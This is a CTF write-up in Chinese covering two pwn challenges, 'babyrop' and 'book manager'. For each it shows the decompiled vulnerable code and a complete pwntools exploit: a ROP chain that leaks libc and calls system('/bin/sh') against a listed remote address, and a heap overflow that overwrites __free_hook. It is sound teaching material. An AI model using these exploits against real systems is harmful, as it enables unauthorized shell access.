pwn babyrop 题目分析 靶机环境是32位的glibc-2.23。
c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl check (int random) { size_t v1; char s; char buf[32 ]; ssize_t v5; memset (&s, 0 , 0x20 u); memset (buf, 0 , 0x20 u); sprintf (&s, "%ld" , random); v5 = read(0 , buf, 0x20 u); buf[v5 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, &s, v1) ) exit (0 ); write(1 , "Correct\n" , 8u ); return (unsigned __int8)buf[7 ]; }
程序难点在于我们输入的buf要与随机生成的random前v1个字节要相等 我们可以直接输入\0开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功
c
1 2 3 4 5 6 7 8 9 void __cdecl vul (char a1) { char buf[231 ]; if ( a1 == 127 ) read(0 , buf, 200u ); else read(0 , buf, a1); }
之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时; 则在read时a1会进行符号填充,那么我们就可以读入4294967295(-1)个字节,这将直接导致栈溢出,之后就行常规的ROP
exp 脚本用了两种不同的ROP
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *execve_file = './babyrop' sh = remote('47.112.137.238' , 13337 ) elf = ELF(execve_file) libc = ELF('./libc-2.23.so' ) sh.sendline('\0' + '\xff' * 10 ) sh.recvuntil('Correct\n' ) sh.sendline('a' *231 +'b' *4 +p32(elf.plt['write' ])+p32(0x080487D0 )+p32(1 )+p32(elf.got['puts' ])+p32(4 )) result=sh.recv(4 ) libc.address = u32(result) - libc.symbols['puts' ] log.success('libc_addr: ' + hex(libc.address)) sh.send('a' *231 +'b' *4 +p32(libc.symbols['system' ])+p32(0 )+p32(libc.search('/bin/sh' ).next())) sh.interactive() ''' sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200)) result = sh.recvuntil('\n')[:-1] libc_addr = u32(result) - libc.symbols['puts'] log.success('libc_addr: ' + hex(libc_addr)) sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next())) sh.interactive() '''
book manager 题目分析 靶机环境是glibc-2.23, 在Add_text功能中,size的大小是由用户决定的,而在Update功能中,其输入的大小指定为255,导致堆溢出漏洞
c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v6 = get_int(); if ( v6 <= 256 ){ v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4L L)) + 8 * (i + 4L L)); *(_QWORD *)(v2 + 32 ) = malloc (v6); printf ("\nText:" ); read_n(&s, 0x100 u); v3 = strlen (&s); memcpy (*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4L L)) + 8 * (i + 4L L)) + 32L L), &s, v3); } else { printf ("\nToo many" ); }
c
1 2 3 4 printf ("\nNew Text:" );read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4L L)) + 8 * (v6 + 4L L)) + 32L L), 255u ); printf ("\nUpdated" , 255L L);return ;
思路
由于Text结构的输入没有null截断,我们可以直接泄露libc地址
劫持Text结构体,实现任意地址读写,我们只需要提前布置好heap 结构就行
劫持hook,getshell
exp
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *context.arch = 'amd64' execve_file = './bookmanager' sh = process(execve_file) elf = ELF(execve_file) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def Add_chapter (c_name) : sh.sendlineafter('Your choice:' , '1' ) sh.sendafter('Chapter name:' , c_name) def Add_section (c_name, s_name) : sh.sendlineafter('Your choice:' , '2' ) sh.sendafter('Which chapter do you want to add into:' , c_name) sh.sendafter('Section name:' , s_name) def Add_text (s_name, size, text) : sh.sendlineafter('Your choice:' , '3' ) sh.sendafter('Which section do you want to add into:' , s_name) sh.sendlineafter('How many chapters you want to write:' , str(size)) sh.sendafter('Text:' , text) def Remove_text (s_name) : sh.sendlineafter('Your choice:' , '6' ) sh.sendafter('Section name:' , s_name) def Book_preview () : sh.sendlineafter('Your choice:' , '7' ) def Update (s_name, text) : sh.sendlineafter('Your choice:' , '8' ) sh.sendlineafter('hat to update?(Chapter/Section/Text):' , 'Text' ) sh.sendafter('Section name:' , s_name) sh.sendafter('New Text:' , text) sh.recvuntil('Name of the book you want to create: ' ) sh.send('a' * 30 ) gdb.attach(sh) Add_chapter('aaaa\n' ) Add_section('aaaa\n' , 'bbbb\n' ) Add_section('aaaa\n' , 'cccc\n' ) Add_text('bbbb\n' , 0x88 , '\n' ) Add_text('cccc\n' , 0x68 , 'here\n' ) Remove_text('bbbb\n' ) Add_text('bbbb\n' , 0x88 , '\x78' ) Book_preview() sh.recvuntil('Section:bbbb' ) sh.recvuntil('Text:' ) result = sh.recvline()[:-1 ] main_arena_addr = u64(result.ljust(8 , '\0' )) - 88 log.success('main_arena_addr: ' + hex(main_arena_addr)) libc_addr = main_arena_addr - (libc.symbols['__malloc_hook' ] + 0x10 ) log.success('libc_addr: ' + hex(libc_addr)) Add_section('aaaa\n' , 'dddd\n' ) Update('cccc\n' , '/bin/sh\0' .ljust(0x60 , '\0' ) + p64(0 ) + p64(0x41 ) + 'dddd' .ljust(0x20 , '\0' ) + p64(libc_addr + libc.symbols['__free_hook' ])) Update('dddd\n' , p64(libc_addr + libc.symbols['system' ])) Remove_text('cccc\n' ) sh.interactive() clear()
hub